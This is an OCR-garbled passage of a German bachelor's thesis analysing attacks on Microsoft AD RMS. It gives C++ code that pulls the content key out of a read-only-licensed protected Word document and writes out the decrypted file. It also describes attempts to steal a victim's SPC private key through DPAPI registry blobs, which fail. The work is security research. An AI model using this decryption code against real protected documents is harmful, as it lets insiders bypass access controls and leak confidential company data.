tionen des RMS SDK 2.1 verwendet werden konnen. Sie lokalisiert und ladt die die Msipc.dll, diese ist die
Programmbibliothek des RMS Clients. Es folgen nun einige Variablendeklarationen, welche im spiteren

Verlauf der main()-Methode Verwendung finden, daher werden sie erst an den entsprechenden Stellen niher

/1l

Byte—Array , in welchen die zu entschluesselnden Bytes

erldutert. Im nichsten Abschnitt wird die Lizenz aus [6]Primary eingelesen.

// Pfad der Datei, welche die Lizenz enthaelt

std ::ifstream file ("[6]DataSpaces\\ TransformInfo\\ DRMEncryptedTransform\\[6] Primary",

std::ios::in, std::ios::binary);

if (file.is_open())
{

// Metadaten ueberspringen

file .seekg(172);

// Laenge der Lizenz einlesen (2Bytes)

zu benutzen

die ausgelesen wird

Lizenz beschreibt

Lizenz beschreibt

Klartextes beschreibt
Klartextes beschreibt
Klartextes beschreibt
Klartextes beschreibt

gelesen werden
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file .read(&xml_size_bytel , 1);
file .read(&xml_size_byte2, 1);

file .seekg (0, std::ios::end);
xml_size = file.tellg ();

// Die Datei mit der Lizenz kann manchmal Nullbytes enthalten
file .seekg(xml_size — 1);
file .read(&lastbyte , 1);

// Schleife , welche die letzten 10Bytes auf Nullbytes ueberprueft
for (int t = 2; t < 12; t++)
{
if (lastbyte != ’>7)
{
nullbytecounter ++;
file .seekg(xml_size — t);
file .read(&lastbyte , 1);
}

else

{
break ;

file .seekg(0, std::ios::end);
xml_size = file.tellg ();
xml_size = xml_size — 176 — nullbytecounter;

// Beginn der eigentlichen Lizenz
file .seekg(176);
file .read (license , xml_size);

license [ xml_size] = "\0’;
file .close () ;
xml_size_bytel = xml_size_bytel + *\4°7;

initLicense (xml_size, xml_size_bytel , xml_size_byte2, license);

}

Am Anfang dieser Datei stechen immer Metadaten, welche fiir den Angriff nicht relevant sind. Diese Metada-
ten sind immer 172Byte groB3, daher wird mit file.seekg(172) der Datei-Zeiger auf 172 gesetzt, damit Bytes,
die von jetzt an gelesen werden, genau ab dieser Position ausgelesen werden. Mit file.read( &xml_size_bytel,
1) und file.read(&xml_size_byte2, 1) werden nun zwei Bytes eingelesen, deren Wert gibt an, wie lang die
komplette Lizenz ist. Diese beiden Bytes werden im spiteren Verlauf des Programms benétigt, daher wer-

den sie hier eingelesen. Um die komplette Lizenz einzulesen, muss die Linge der Lizenz als dezimaler Wert
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bekannt sein. Da sich das Konvertieren der beiden eingelesen Bytes in einen dezimalen Wert als umsténd-
lich erwiesen hat, wird nun die komplette Dateildnge bestimmt, indem mit file.seekg(0, std::ios::end) der
Dateizeiger auf das Ende der Datei gesetzt wird und mit file.tellg() nun die Anzahl der Bytes in [6]Prima-
ry bestimmt wird. Aus unbekanntem Grund kann die Datei manchmal am Ende Nullbytes enthalten, diese
befinden sich hinter der Lizenz und miissen daher ignoriert werden; daher folgt im Code nun eine Schleife,
welche die letzten zehn Bytes der Datei auf Nullbytes iiberpriift; wird ein Nullbyte gefunden, wird nullbyte-
counter um eins erhoht. In der Praxis wurden in [6 ]Primary allerdings nie mehr als drei Nullbytes gefunden.
Mit xml_size = xml_size - 176 - nullbytecounter wird nun der dezimale Wert bestimmt, der die Linge der
Lizenz beschreibt, xml_size enthielt vorher die Byteanzahl der kompletten Datei, subtrahiert werden die 176
Byte vor der eigentlichen Lizenz, die beiden Bytes, welche die Linge der Lizenz beschreiben, sowie die
Anzahl der zuvor bestimmten Nullbytes. Der Dateizeiger wird auf den Wert 176 gesetzt, da hier die eigent-
lich Lizenz beginnt, nun kann mit file.read(license, xml_size) die Lizenz in ein Array eingelesen werden.
AbschlieBend wird die Datei wieder geschlossen und es wird der hexadezimale Wert, welcher die Léinge
der Lizenz beschreibt, um vier erhoht, da in der aufgerufenen initLicense-Funktion, welche im Folgenden
betrachtet wird, weitere Bytes gelesen werden.

System :: Void initLicense (int xml_size, char xml_size_bytel , char xml_size_byte2, char

license [])

byte bytel = OxEF;
byte byte2 = 0xBB;
byte byte3 = OxBF;

array <Byte> ~“licenseLengthBytes;

array <Byte> ~licenseBytes;

licenseLengthBytes = gcnew array <Byte>(4);
licenseBytes = gcnew array <Byte>(xml_size + 4);

licenseLengthBytes [0] xml_size_bytel ;

licenseLengthBytes [1] xml_size_byte2;

N0

licenseLengthBytes [3] N0 7

Marshal :: Copy(licenseLengthBytes , 0, (IntPtr)(&pLicense —>cbBuffer), 4);
licenseBytes [0] = bytel;

byte2;

byte3;

licenseLengthBytes [2]

licenseBytes [1]

licenseBytes [2]

for (int k = 0; k < xml_size; k++)

{

licenseBytes [k + 3] = license[k];

}
pLicense —>pvBuffer = (LPVOID)new unsigned char[xml_size + 4];

Marshal :: Copy(licenseBytes , O, (IntPtr)(pLicense—>pvBuffer), pLicense —>cbBuffer);

Prinzipiell wird in dieser Methode die eine Instanz der [IPC_BUFFER Struktur namens pLicense initiali-
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siert, wobei pLicense global defniert ist. Diese wird benétigt, um im spiteren Verlauf des Codes den Content-
Key aus der Lizenz auszulesen.
In der IPC_BUFFER Struktur sind zwei Puffer zu initialisieren. Es werden zunichst drei Bytes bytel bis

C++

typedef struct IPC BUFFER {
LPVOID pvBufter;
DWORD cbhBuffer;
} IPC_BUFFER, *PIPC BUFFER;typedef const IPC BUFFER *PCIPC_BUFFER;

Members

pvBuffer
The pointer to the buffer.

chBuffer
The size of the buffer, in bytes.

Abbildung 4.9: Syntax der IPC_BUFFER Struktur
[12]

byte3 definiert, danach werden zwei Byte-Arrays erzeugt. In das erste Array licenseLengthBytes werden die
beiden Bytes, welche die Linge der Lizenz beschreiben und zwei Nullbytes geschrieben. Nun kann cbBuf-
fer von pLicense initialisiert werden, indem der Inhalt von licenseLengthBytes in diesen Puffer kopiert wird.
Die zuvor definierten Bytes werden nun inklusive der Linzenz-Bytes in das licenseBytes-Array geschrieben,
damit schlieBlich auch pvBuffer initialisiert werden kann. Warum bytel bis byte3 mit diesen speziellen Wer-
ten benotigt wird, konnte nicht herausgefunden werden. Dies wurde herausgefunden, indem eine beliebige
Datei mit /PCNotepad|13], einer Bespielanwendung von Microsoft, welche Funktionen des RMS SDK 2.1
verwendet, verschliisselt wurde. Wurde diese Datei im Hex-Editor betrachtet, so waren in jedem Fall ge-
nau diese Bytes vor der Lizenz zu finden. Es hat sich herausgestellt, dass genau diese Bytes wieder bei der
Entschliisselung benotigt werden, indem sie beim initialisieren von pvBuffer verwendet werden. Als nich-
stes wird der Codeausschnitt betrachtet, in welchem die zu entschliisselnden Bytes in EncryptedPackage
eingelesen werden.
// Datei, die die Laenge des Klartextes und den verschluesselten Inhalt enthaelt

char+* path = "EncryptedPackage";

std ::ifstream file2 (path, std::ios::binary);

if (file2.is_open())

{

file2 .seekg (0, std::ios::end);

size = file2 .tellg ()

file2 .seekg (0, std::ios::beg);
file2 .read(&content_size_bytel , 1);
file2 .read(&content_size_byte2 , 1);
file2 .read(&content_size_byte3 , 1);
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file2 .read(&content_size_byted , 1);
file2 .seekg(8);
contentBytes = gcnew array<Byte>(4 + (int)size);

content_size_bytel = content_size_bytel + "'\4° + \4° + *\4° + "\4° + "\4° + "\4~°

contentBytes [0]

content_size_bytel ;

contentBytes [1] content_size_byte2;

contentBytes [2] content_size_byte3;

contentBytes [3] content_size_byte4;

for (i = 0; i <= (int)size — 9; i++)
{
file2 .read(&byte_read , 1);
contentBytes[i + 4] = byte_read;

}
contentBytes[i + 5] = "\0’;

// vorbereitete Bytes entschluesseln
ReadKeyAndDecrypt(contentBytes) ;
delete [] license;
file2 .close () ;

}

Die EncryptedPackage Datei wird zunidchst gedffnet, da hier, wie in vorherigen Abschnitten beschrieben,
der eigentliche verschliisselte Inhalt enthalten ist. Unter size wird die Anzahl der Bytes abgespeichert, die in
EncryptedPackage enthalten ist. Nachdem der Datei-Zeiger wieder auf den Anfang der Datei gesetzt wird,
werden vier Bytes eingelesen. Diese Bytes bestimmen zusammen die Anzahl der Bytes des Klartextes, sie
werden in den Variablen content_size_bytel bis content_size_byte4 abgespeichert. Byte fiinf bis Byte acht
sind Nullbytes, da in der Praxis Dateien nicht so groB sind, dass diese Bytes ebenfalls belegt werden. Der
Datei-Zeiger wird mit file2.seekg(8) so gesetzt, dass diese Nullbytes iibersprungen werden und damit spéter
die verschliisselten Bytes eingelesen werden konnen, welche ab Byte neun beginnen. contentBytes = gcnew
array<Byte>(4 + (int)size) erzeugt nun ein Byte-Array mit benotigter GroBe. In dieses Array werden nun
alle bendtigten Bytes geschrieben, welche spiter fiir die Entschliisselung benotigt werden. Zuvor wird al-
lerdings der Wert von content_size_bytel erhoht, da es beim Entwickeln des Programms vorkam, dass der
Wert, der die Anzahl der Bytes des Klartextes beschreibt, fiir manche geschiitzte Word-Dokumente kleiner
war als die tatsidchliche Anzahl des Klartextes. Die Erhohung dieses Wertes stellt also sicher, dass alle Bytes
entschliisseln werden. Allerdings kann es so auch vorkommen, dass so ein Block zu viel entschliisseln wird.
Fiir den Angriff ist dies aber nicht fatal, da alle Blocke entschliisselt werden, der letzte Block ist dann le-
diglich doppelt vorhanden. Den Wert sechs mal nacheinander jeweils um vier zu erhdhen, hat hierbei durch
Ausprobieren zum Erfolg gefiihrt. Fiir alle wihrend dieser Bachelorarbeit untersuchten Word-Dokumente
war dieser Wert ausreichend. Bevor die gedffnete Datei wieder geschlossen und das Array geloscht wird,

wird Das contentBytes-Array der ReadKeyAndDecrypt-Methode iibergeben, welche im Folgenden erldutert
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wird.

System :: Void ReadKeyAndDecrypt(array <Byte> “encryptedBytes)

{

}

MemoryStream AencryptedStream ;
pin_ptr <IPC_KEY HANDLE> pContentKey ;

// Contentkey aus der Lizenz holen
pContentKey = &contentKey ;

IpcGetKey (pLicense, 0, nullptr, nullptr, pContentKey);

encryptedStream = gcnew MemoryStream (encryptedBytes);
readDecryptedContent (encryptedStream) ;

encryptedStream —>Close () ;

Die ReadKeyAndDecrypt-Methode liest zunédchst den Content-Key aus der Lizenz, dafiir bendtigt wird pLi-
cense, welche zuvor initialisiert wurde. Danach wird ein neuer MemoryStream namens encryptedStream
erzeugt, dieser enthilt das encryptedBytes-Array als Eingabe. SchlieBlich wird die readDecryptedContent-
Methode aufgerufen, in welcher die Entschliisselung stattfindet. Sobald die Methode durchlaufen ist, wird

der MemoryStream wieder geschlossen. Die genaue Funtkionsweise der readDecryptedContent-Methode!
wird im Folgenden betrachtet:

System :: Void readDecryptedContent(Stream “encryptedStream)

{

DWORD cbReadRemaining ;
DWORD cbRead;

DWORD cbOutputBuffer;
DWORD cbDecrypted ;
array <Byte> AreadBuffer;
array <Byte> AwriteBuffer;

pin_ptr <Byte> pbReadBuffer;
pin_ptr<unsigned char> pbWriteBuffer;
int cBlock;

std :: ofstream output_stream ;

std :: string filename;

filename = "decrypted.docx";

output_stream .open(filename.c_str(), std::ios_base:: binary);

try
{

readBuffer = gcnew array <Byte>(16);

! diese Methode ist angelehnt an die readBody()-Methode aus IPCNotepad[13], sie wurde hier entsprechend angepasst
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pbReadBuffer = &readBuffer [0];

cbOutputBuffer = 16;
writeBuffer = gcnew array <Byte>(cbOutputBuffer);
pbWriteBuffer = &writeBuffer [0];

cbRead = encryptedStream —>Read(readBuffer, 0, 4);
Marshal :: Copy(readBuffer, 0, (IntPtr)&cbDecrypted, 4);

cBlock = 0;
cbReadRemaining = (DWORD) (encryptedStream —>Length — encryptedStream —>Position);

while (cbReadRemaining > 16)
{
cbRead = 0;
encryptedStream —>Read (readBuffer, 0, 16);
IpcDecrypt(contentKey ,
cBlock ,
false ,
pbReadBuffer,
16,
pbWriteBuffer ,
cbOutputBuffer ,
&cbRead) ;

for (int i = 0; i < 16; i++) // die Bloecke sind immer 16Byte gro

{
output_stream << pbWriteBuffer[i];
}
cBlock ++;
cbReadRemaining —= cbRead;
}
cbRead = 0;

encryptedStream —>Read(readBuffer, 0, cbReadRemaining);
IpcDecrypt(contentKey ,

cBlock ,

true ,

pbReadBuffer,

cbReadRemaining ,

pbWriteBuffer ,

cbOutputBuffer ,

&cbRead) ;

// letzten Block byteweise in eine Datei schreiben
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for (int i = 0; i < 16; i++)
{

output_stream << pbWriteBuffer[i];

}
finally

{
readBuffer = nullptr;
writeBuffer = nullptr;

output_stream.close () ;

}

Nach einigen Variablendeklarationen wird zunichst eine Datei names decrypted.docx angelegt und geoffnet;
in diese Datei werden spiter die entschliisselten Bytes geschrieben. Danach werden vier Bytes aus encryp-
tedStream ausgelesen, welche in readBuffer abgespeichert werden, es handelt sich bei den ausgelesenen
Bytes um die Anzahl der Bytes des Klartextes. Mittels cbReadRemaining = (DWORD )(encryptedStream-
>Length - encryptedStream->Position) wird nun die Anzahl an Bytes bestimmt, die entschliisselt werden
miissen, indem die Anzahl der Bytes in encryptedStream von der aktuellen Position dieses Stream subtra-
hiert wird. Nun werden in einer Schleife die 16Byte groen Blocke nach und nach entschliisselt, indem
jeweils 16Byte aus encryptedStream eingelesen werden, woraufthin diese eingelesenen Bytes der IpcDe-
crypt()-Funktion iibergeben werden. Fiir den Angriff relevant ist nach erfolgreichen Ausfiithren der IpcDe-
crypt()-Funktion der Inhalt von pbWriteBuffer, da in diesen Puffer der entschliisselte Klartext gespeichert
wird. Fiir jeden Block wird also eine Schleife durchlaufen, in welcher der Inhalt von pbWriteBuffer in die
zuvor gedffnete Datei namens decrypted.docx geschrieben wird. Die Schleife durchliuft alle 16Byte des ent-
sprechenden Blocks einzeln, da die entschliisselten Bytes Nullbytes sein konnen. Ein einfaches Ausgeben
mittels output_stream « pbWriteBuffer wiirde nicht geniigen, da der « Operator bei Nullbytes terminieren
wiirde und so nur die Bytes bis zum ersten Nullbytes ausgeben wiirde. Nachdem die Schleife durchlaufen
ist, wird der letzte Block eingelesen. Dieser letzte Block ist 16Byte grof3 oder kleiner als 16Byte und wurde
in der Schleife nicht behandelt. Auch auf diesen Block wird die IpcDecrypt()-Funktion angewendet, wor-
aufhin der Inhalt von pbWriteBuffer wieder byteweise in die Datei geschrieben wird. Schlussendlich werden
die initialisierten Arrays wieder auf null gesetzt und die Datei wird geschlossen. Die Datei decrypted.docx

repréasentiert nun das ungeschiitzte Word-Dokument.

4.6 Fazit zum ersten Angriff

In diesem Kapitel wurde eine in der Praxis existierende Schwachstelle in Microsofts ERM-System anayl-
siert. Es wurde gezeigt, dass ein Benutzer in einer Doméne Vollzugiff auf ein mit RMS geschiitzes Word-
Dokument erhalten kann, wenn dieser Benutzer eigentlich nur das Leserecht fiir das Dokument besitzt.

In der Praxis kann dies fiir Unternehmen fatale Folgen haben, wenn Mitarbeiter geschiitzte firmeninter-
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ne Dokumente entschliisseln kénnnen. Denn wenn Mitarbeiter das Unternehmen verlassen, konnen sie die
entschliisselten Dokumente auf dem Schwarzmarkt oder an die Konkurrenz verkaufen. In dem hier vorge-
stellten Beispiel ging es um ein Word-Dokument; da jedoch andere Microsoft Office Formate, wie .xslx
fiir Microsoft Excel oder .pptx fiir Microsoft Powerpoint ebenfalls Open Office XML Formate sind, ist die
hier vorgestellte Anwendung bei diesen Formaten eins zu eins anwendbar. Es miissen keine Anderungen
im Quelltext vorgenommen werden, da die XML-Dateien immer den gleichen Aufbau haben. Es miisste le-
diglich das Format der Ausgabedatei gedndert werden, wobei das Dateiformat streng genommen auch nach
Ausfiithren des Programms geédndert werden kann und die Datei trotzdem geoffnet werden konnte. Theo-
retisch sind jedoch nicht nur Microsoft Office Dokumente angreifbar, sondern alle mit RMS geschiitzten
Dateien, welche zB mit der RMS Freigabeanwendung[14] geschiitzt worden sind. In diesen Féllen miisste
das Programm jedoch angepasst werden, da die Lizenz und die verschliisselten Bytes aus der geschiitzten
Datei selbst eingelesen werden miissten, da es sich beispielsweise bei einer .pdf-Datei nicht um ein Open
Office XML Format handelt.



5 Weitere Angriffsszenarien

In diesem Kapitel werden zwei weitere Angriffsszenarien betrachtet. Es soll untersucht werden, ob diese
ebenfalls ausnutzbar sind. Da es sich um eine dhnliche Vorgehensweise handelt, werden beide in einem Ka-

pitel zusammen behandelt. Am Ende des Kapitels wird ein Fazit gezogen.

Angriffsszenario 2:

Im zweiten Angriffsszenario ist das Ziel ein Dokument im Namen eines anderen Benutzes aus der Domine
zu erstellen. Da bei der Erstellung eines Dokuments immer eine PL erstellt wird, welche mit dem privaten
Schliissel des CLC signiert ist, ist es fiir diesen Angriff notwendig den privaten Schlliissel des CLCs des
Opfers zu tibernehmen. Um diesen Angriff durchzufiihren wird angenommen, dass der Angreifer fiir einen
kurzen Zeitraum physischen Zugriff auf den Computer des Opfers im eingeloggten Zustand hat, sodass er
dort ein Programm ausfithren kann, welches das CLC bzw. dessen privaten Schliissel und gegebenfalls wei-

tere benodtigte Dateien aus dem System extrahiert.

Angriffsszenario 3:

Beim néchsten Angriff wird versucht, Zugriff auf ein mit RMS geschiitztes Dokument zu erlangen, auf
welches ein Benutzer in einer Domiine nicht einmal das Leserecht besitzt. Es muss versucht werden, an die
Rechte eines anderen Benutzers aus der Doméne fiir dieses Dokument zu gelangen. Die Angriffsidee besteht
also darin, an den privaten Schliissel des RACs eines Nutzers, welcher fiir das Dokument Rechte besitzt, zu
gelangen, da mit dem RAC der Content-Key aus der Use-License extrahiert werden kann. Auch in diesem
Szenario wird angenommen, dass der Angreifer fiir einen kurzen Augenblick physischen Zugang auf den

Computer seiner Opfers hat, sodass er das RAC bzw. dessen privaten Schliissel kopieren kann.

Die beiden beschriebenen Angriffe sind sehr dhnlich, da es jeweils darum geht zu versuchen, an die Be-

nutzerzertifikate des Opfers bzw. an die privaten Schliissel dieser Zertifikate zu gelangen.

5.1 Ubernehmen der Benutzeridentitit des Opfers

Als erstes wurde getestet, alle Zertifikate (CLC, RAC, SPC) sowie den mit der DPAPI geschiitzten privaten
Schliissel des SPCs von der Maschine des Opfers zu kopieren und mit denen des Angreifers zu ersetzen, um
somit die Benutzeridentitit des Opfers zu iibernehmen. Das Ubernehmen der Benutzeridentitit hat das Ziel,
das somit beide zuvor beschriebenen Angriffe durchgefiihrt werden konnten, da sich der RMS Client um
die Entschliisselung des privaten Schliissels des SPCs, des RACs und des CLCs kiimmert. Das SPC muss
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mitkopiert werden, da die Maschinenidentitéit an die Benutzeridentitit gebunden ist (der private Schliissel
des RAC ist mit dem offentlichen Schliissel des SPC verschliisselt). Da das SPC an die Hardware gebunden
ist[15], wurde dieser Angriff zunédchst auf dem gleichen Client getestet, indem die Zertifikate und der ge-
schiitzte private Schliissel des SPC von Erika Musterfrau mit den Zertifikaten und dem geschiitzten privaten

Schliissel von Max Mustermann ersetzt wurde.

Beobachtung:

Nachdem die Zertifikate und der geschiitzte private Schliissel des SPC ersetzt worden waren, wurde getestet,
ob ein Dokument gedffnet werden konnte, auf welches Max Mustermann nicht einmal das Leserecht hatte,
Erika Musterfrau allerdings schon. Das Ergebnis war, dass Word eine Fehlermeldung ausgab, in der es hief3,
dass dem Benutzer nicht die entsprechenden Rechte eingerdiumt wurden. Des Weiteren war zu beobachten,
dass die zuvor ersetzten Zertifikate geloscht und neue angelegt wurden. Auch wurden die ersetzten Registry
Eintrdge, welche fiir den privaten Schliissel des SPC verantwortlich sind, erneuert. Der RMS Client hat so-

mit erkannt, dass die Benutzer- und die Maschinenidentitit verandert worden sind.

Erklirung:

Beim Offnen der geschiitzten Datei hat der RMS Client versucht den geschiitzten privaten Schliissel des SPC
zu entschliisseln. Dieser lag geschiitzt in der Registry und konnte nicht erfolgreich entschliisselt werden. Der
Grund ist die Funktionsweise der DPAPI. Wird ein Klartext mit der DPAPI verschliisselt, so héngt der ent-
standende Data-Blob vom Passwort des jeweiligen Benutzers ab. Da die Verschliisselung auf der Maschine
des Opfers stattfand und die Entschliisselung auf der Maschine des Angreifers, kann der Angriff so nicht

funktionieren, denn beide Nutzer verwenden ein anderes Passwort.

5.2 Durchfihrung der Angriffe, wenn privater Schliissel des SPC
des Opfers bekannt ist

Das Ubernehmen der Benutzeridentitit hat wie zuvor beschrieben nicht funktioniert, um die Angriffe durch-
zufiihren, da der RMS Client aufgrund des nicht bekannten Passworthashes den geschiitzten privaten Schliis-
sel des SPCs nicht entschliisseln kann. Eine Idee, um die Angriffe dennoch durchfiihren zu konnen, besteht
darin, den geschiitzten privaten Schliissel des SPC selbst zu entschliisseln. Dies wire theoretisch méoglich,
wenn auf der Maschine des Opfers ein vom Angreifer erstelltes Programm ausgefiihrt wiirde, welches die
Entschliisselungsfunktion der DPAPI benutzt, um damit den geschiitzten privaten Schliissel des SPC zu ent-
schliisseln, welcher daraufhin an den Angreifer gesendet wird. Der Angreifer kann dann folgendermafien

vorgehen:

In Angriffsszenario 2:
Wenn der private Schliissel des SPCs also bekannt ist, kann damit auch der private Schliissel des RACs

und des CLCs entschliisselt werden, so wie es an anderen Stellen dieser Arbeit beschrieben worden ist. Das
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Erstellen eines mit RMS geschiitzten Dokuments lduft offline ab. Somit kann der Angreifer ein beliebiges
Dokument erstellen und mit RMS schiitzen. Die PL und die UL, welche der Autor beim Schiitzen einer
Datei fiir sich selbst ausstellt konne nun manipuliert werden, indem der Name des Autors in der UL und
der PL veridndert wird. Die Signatur iiber die UL wird darauthin mit dem privaten Schliissel des RAC und
die Signatur iiber die PL. mit dem privaten Schliissel des CLC neu erstellt. Die Manipulation der UL ist des-
halb notwendig, da beim Offnen einer mit RMS geschiitzten Datei eine Verifikation dieser beiden Lizenzen
stattfindet.[1]

In Angriffsszenario 3:

Fiir das dritte Angriffsszenario wird nur der private Schliissel des RAC benotigt. Dieser kann entschliisselt
werden, wenn der private Schliissel des SPC bekannt ist. Mit dem privaten Schliissel des RAC des Opfers
kann der Angreifer aus der UL den Content-Key extrahieren. Mit diesem Content-Key kann der Angreifer
Vollzugriff auf das Dokument erlangen, so wie es im letzten Kapitel beschrieben wurde. Vorraussetzung
wire hier, dass der Benutzer, dessen privater Schliissel kopiert wird, der Autor der Datei ist, da die UL des

Autors immer im geschiitzten Dokument selbst steht.

5.3 Extrahieren des privaten Schllussels des SPC

Im Folgenden wird untersucht, ob es moglich ist den privaten Schliissel des SPC zu extrahieren, um die
Angriffe, so wie zuvor beschrieben, durchzufiihren. Bei der Erstellung des SPC wird laut einer Anleitung
von Microsoft der private Schliissel des SPC sowohl mit der DPAPI, als auch mit RSAVault geschiitzt.[15]
Der geschiitzte private Schliissel wird daraufthin in der Registry des jeweiligen Benutzers abgelegt. Obwohl
im Internet keine Beschreibung von RSAVault zu finden ist, muss dies bei der Entschliisselung des privaten

Schliissels beriicksichtigt werden.

5.3.1 Analyse des geschiitzten privaten Schliissels des SPC

HKEY_CURRENT_USER\Software\Classes\LocalSettings\Software\Microsoft\uDRM ist laut eine Verof-
fentlichung von Microsoft der Pfad des geschiitzten privaten Schliissels des SPCs.[15] Dieser Pfad ist in
der Registry allerdings nicht vorhanden, was daran liegt dass sich die Anleitung auf eine veraltete Version
des AD RMS Clients bezieht. In dieser Arbeit ist AD RMS Client 2.1 verwendet worden, sodass der Pfad
HKEY_CURRENT_USER\Software\Classes\LocalSettings\Software\Microsof\MSIPC sein muss. Dort zu

finden sind vier Bindreintrige, wie die folgende Abbildung zeigt.
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Marme Typ Daten

ab|Standard) REG_SE (Méert nicht festgelegt)

| AC REG_BINARY 71003300 d8 58 5e 42 cc 9a 0c di 66 c3 Tadb 872226423217 1b 43 ¢C
ab| DefaultdentityZerser REG_SZ deltest-domain.com

e | MZIPP - MK REG_BINARY 01000000 d0 8c9d df 0115 d111 8c 7a 00 c0 4f c2 97 eb 0100 00 00 8¢
| MSIPP - SK REG_BIMARY 01000000d08c9ddf0115d1118cTa 00 c4fc2897eb 02000000 8!
e RK. REG_BIMARY alf8 b2 Dealb 60 9b cdcd 1e 9b 63 ad Je 92 16 BF 76 7495 43 ea 96 2¢

Abbildung 5.1: vier Registry-Eintrége

Die Binireintriage haben folgende Grof3en:
AC 4096 Byte

RK 4096 Byte

MSIPP-MK 1324 Byte

MSIPP-SK 276 Byte

Kopiert man die Binéreintrdge in eine Datei und 6ffnet diese mit einem Hex-Editor, so fillt auf, dass MSIPP-
MK und MSIPP-SK an die Strukturen von Data-Blobs der DPAPI erinnern, weshalb als nidchstes versucht
wird, diese Data-Blobs zu entschliisseln. AC und RK haben keine erkennbare Struktur. Vom Namen her deu-
ten MSIPP-MK und MSIPP-SK auf die von der DPAPI generierten Schliissel hin (Master-Key und Session-
Key). Ob dies tatsdchlich der Fall ist kann nicht gesagt werden; dagegen spricht bespielsweise, dass der

Session-Key normalerweise gar nicht abgespeichert wird.

5.4 Verwenden der DPAPI zum Entschlisseln der Registry-Eintrage

Im Folgenden wird ein in Visual C++ entwickeltes Programm! vorgestellt, welches den Inhalt von einer
ausgewdhlten Datei ausliest und diesen der DPAPI-Entschliisselungsfunktion iibergibt. Die Ausgabe dieser
Funktion (also der Klartext) wird in einer Datei namens [?] abgespeichert. Mit diesem Programm wird
daraufhin nacheinander versucht, die Binireintrdge zu entschliisseln. Der Einfachheit halber wurden fiir die
Analyse die Registry-Eintrdge in Dateien kopiert.

void main ()

{
DATA_BLOB DataOut;
DATA BLOB DataVerify ;
BYTE pbDataOutput[5000];
DWORD cbDataOutput;

'Das Programm ist auch auf der zu dieser Arbeit zugehdrigen CD zu finden
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std :: ofstream output_file;

std :: string filename;

char readbyte;

int file_length;

// DATA BLOB einlesen
std ::ifstream file ("BLOB", std::ios::in, std::ios::binary);

if (file.is_open())

{

}

file .seekg(0, std::ios::end);
file _length = (int) file.tellg ();
file .seekg (0, std::ios::beg);
printf (" File length: %d\n", file_length);
for (int i = 0; i <= file_length; i++)
{
file .read(&readbyte , 1);
pbDataOutput[i] = readbyte;
}
pbDataOutput[ file _length] = "\0’;
cbDataOutput = file_length;
DataOut.pbData = pbDataOutput;
DataOut.cbData = cbDataOutput;

file.close ();

else

{

/1

printf ("Could not open file !\n");

DPAPI Entschluesslungsfunktion aufrufen

if (CryptUnprotectData(

&DataOut , // zu entschluesselnder Data—Blob
NULL, // Beschreibung des Data—Blobs
NULL, /' Sekundaere Entropie
NULL, // Reserviert

NULL, // Optionale PromptStruct

NULL, // Optionale Flags

&DataVerify)) // enthaelt die entschluesselten Daten

printf ("The decrypted data is: %s\n", DataVerify.pbData);
filename = "decrypted.txt";

output_file.open(filename.c_str (), std::ios_base :: binary);

for (int i = 0; i < DataVerify.cbData; i++)

{
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output_file << DataVerify.pbData[i];

}

else

{
std::cerr << "CryptUnprotectData () failed with error number:
std :: endl;
exit(1l);

<< GetLastError () <<

}

Das Programm 6ffnet zunichst eine Datei namens BLOB. In dieser Datei muss der gewiinschte zu entschliis-
selndee Data-Blob stehen. Es wird darauthin die Lénge der Datei bestimmt, welche auch auf der Konsole
ausgegeben wird. Danach wird byteweise der Inhalt der Datei ausgelesen und in ppDataOutput abgespei-
chert. Eine Struktur mit dem Namen DataOut vom Typ DATA_BLOB wird darauthin initialisiert, indem in
pbData die eingelesenen Bytes und in chData die Lange der eingelesenen Bytes geschrieben werden. Die
Datei wird daraufhin wieder geschlossen. Der Data-Blob kann nun der DPAPI-Entschliisselungsfunktion
CryptUnprotectData() tibergeben werden. Sofern das Ausfithren der Funktion erfolgreich war, wird der
entschliisselte Inhalt sowohl auf der Konsole ausgegeben als auch in eine Datei namens decrypted.txt ge-
schrieben. Falls die Funktion fehlschlagen sollte wird die GetLastError()-Funktion aufgerufen, welche eine

Fehlernummer der zuletzt fehlgeschlagenen Funktion ausgibt.

Beobachtung:

Fiir alle Bindreintrige liefert das Programm als Ausgabe: CryptUnprotectData() failed with error num-
ber: 13. Fehlercode Nummer 13 ist hierbei ERROR_INVALID_DATA[16]. Das Programm funktioniert mit
selbsterstellten DPAPI-Blobs, welche mit der CryptProtectData( )-Funktion erstellt werden und in eine Datei

geschrieben werden, somit ist ein Implemetierungsfehler auszuschliefen.

Erklirung:

Das Fehlschlagen der CryptUnprotectData()-Funktion kann auf das Vorhandensein von RSAVault hindeu-
ten, iiber welches Microsoft keine Auskunft gibt. Hierbei konnten bestimmte Bytes des Data-Blobs verdndert
worden sein. Andererseits ist es moglich, dass bei der Verschliisselung des privaten Schliissels sekundire
Entropie verwendet worden ist. Sollte dies der Fall sein, muss fiir die Entschliisselung die gleiche Entropie
verwendet werden. Da diese Entropie irgendwo abgespeichert werden muss, ist es moglich, dass einer der
vier Bindreintrige die sekundire Entropie ist. Aufgrund dieser Annahme ist das Programm erweitert wor-
den, sodass es zusitzlich zum Data-Blob eine sekundére Entropie aus einer Datei einliest und diese bei der
CryptUnprotectData()-Funktion verwendet. Der dritte Parameter der CryptUnprotectData( )-Funktion muss
dann von NULL auf Entropie gesetzt werden, da dieser Parameter fiir die optionale Entropie verantwortlich

ist. Auch so meldet das Programm die Fehlermeldung 13.
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5.5 Weitere Untersuchungen

Die CryptProtectData()- und die CryptUnprotectData()-Funktion haben, wie im Codeabschnitt zu erken-
nen, noch weitere Parameter. Parameter Nummer 6 soll in diesem Abschnitt noch niher untersucht werden,
da dort FLAGS definiert werden konnen, welche bei der Entschliisselung eine Rolle spielen. Beispielsweise
kann ein mit dem CRYPTPROTECT_SYSTEM Flag geschiitzter Data-Blob nur entschliisselt werden, wenn
bei der Entschliisselunng dieses Flag wieder gesetzt wird. Der folgende Ausschnitt von MSIPP-SK im Hex-
Editor zeigt allerdings, dass nach der von Passcape entdeckten Struktur eines Data-Blobs keines dieser Flags

gesetzt ist:

0x000: 0L 00 00 00 DO &C 9D DF 01 15 D1 11 &C 7A 00 €O ....BI B..H.1z.A
0x010: 4F C2 97 EBE 01 00 00 00 85 6B 94 D4 7A4 CF 23 43 OAl&....1kl0zI#C
0x020: AF 70 76 78 A3 D3 FC F7 00 00 00 00 04 00 00 00 ~ pwxlii+........
0x030: 20 00 00 00 03 66 00 00 CO 00 00 00 10 00 00 00 ....f..A.......
